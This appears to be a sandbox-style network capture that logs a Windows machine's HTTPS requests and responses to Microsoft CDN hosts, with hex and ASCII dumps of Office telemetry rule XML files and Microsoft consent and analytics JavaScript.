2024-11-15 12:18:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:43 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 6266d644-901e-0083-0e09-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121843Z-16547b76f7fcrtpchC1DFW52e80000000n3g00000000bmea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 2117b026-901e-0029-37af-36274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121843Z-16547b76f7fgfpmjhC1DFWw6ec00000000tg0000000035ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	49848	13.107.246.45	443	7968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 12:18:43 UTC	713	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 10954 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: e993b9da-801e-0040-623f-3727a2000000 x-ms-version: 2009-09-19 x-azure-ref: 20241115T121843Z-16547b76f7fp6mhthC1DFWrggn0000000n7g000000006vfu Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	16384	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-15 12:18:43 UTC	16382	IN	Data Raw: 2d 6c 61 62 65 6c 3d 22 27 2b 69 2e 65 73 63 61 70 65 48 74 6d 6c 28 74 68 69 73 2e 74 65 78 74 52 65 73 6f 75 72 63 65 73 2e 70 72 65 66 65 72 65 6e 63 65 73 44 69 61 6c 6f 67 43 6c 6f 73 65 4c 61 62 65 6c 29 2b 27 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 63 6c 6f 73 65 4d 6f 64 61 6c 49 63 6f 6e 2b 27 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 26 23 78 32 37 31 35 3b 3c 2f 62 75 74 74 6f 6e 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 72 6f 6c 65 3d 22 64 6f 63 75 6d 65 6e 74 22 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 61 6c 42 6f 64 79 2b 27 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 27 2b 61 2e 6d 6f 64 Data Ascii: -label="'+i.escapeHtml(this.textResources.preferencesDialogCloseLabel)+'" class="'+a.closeModalIcon+'" tabindex="0">✕</button>\n <div role="document" class="'+a.modalBody+'">\n <div>\n <h1 class="'+a.mod
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-15 12:18:44 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	49849	13.107.246.45	443	7968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 12:18:43 UTC	912	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: b909e3ec-f01e-00d4-7c8f-269d10000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241115T121843Z-16547b76f7fnlq8chC1DFWxnen000000011g0000000038ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	15472	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-15 12:18:43 UTC	16384	IN	Data Raw: 5b 61 69 5d 28 69 29 3a 28 6e 3d 65 5b 22 6f 6e 22 2b 74 5d 29 3f 6e 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 Data Ascii: [ai](i):(n=e["on"+t])?n(i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 2c 5b 65 2e 61 72 67 5d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 67 63 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c Data Ascii: ,[e.arg])})}function gc(e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 63 28 29 2c 74 26 26 74 28 61 29 7d 29 7d 2c 66 29 2c 68 28 29 2c 6d 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 Data Ascii: c(),t&&t(a)})},f),h(),m(e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!"
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 5f 57 33 43 3a 31 2c 57 33 43 3a 32 7d 29 2c 6e 28 7b 4e 6f 72 6d 61 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e Data Ascii: _W3C:1,W3C:2}),n({Normal:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 69 6d 65 29 7d 63 61 74 63 68 28 72 29 7b 48 6f 28 6f 2c 22 41 75 74 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e Data Ascii: ime)}catch(r){Ho(o,"Auto track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 70 28 72 2e 6d 65 74 61 54 61 67 73 2c 72 2e 5f 63 6f 6e 66 69 67 2e 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d Data Ascii: p(r.metaTags,r._config.coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()}
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d 65 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b Data Ascii: ta-m"===t[n].name)return!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++
2024-11-15 12:18:44 UTC	16384	IN	Data Raw: 61 44 65 76 69 63 65 54 69 63 6b 65 74 22 2c 70 67 3d 22 57 65 62 41 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 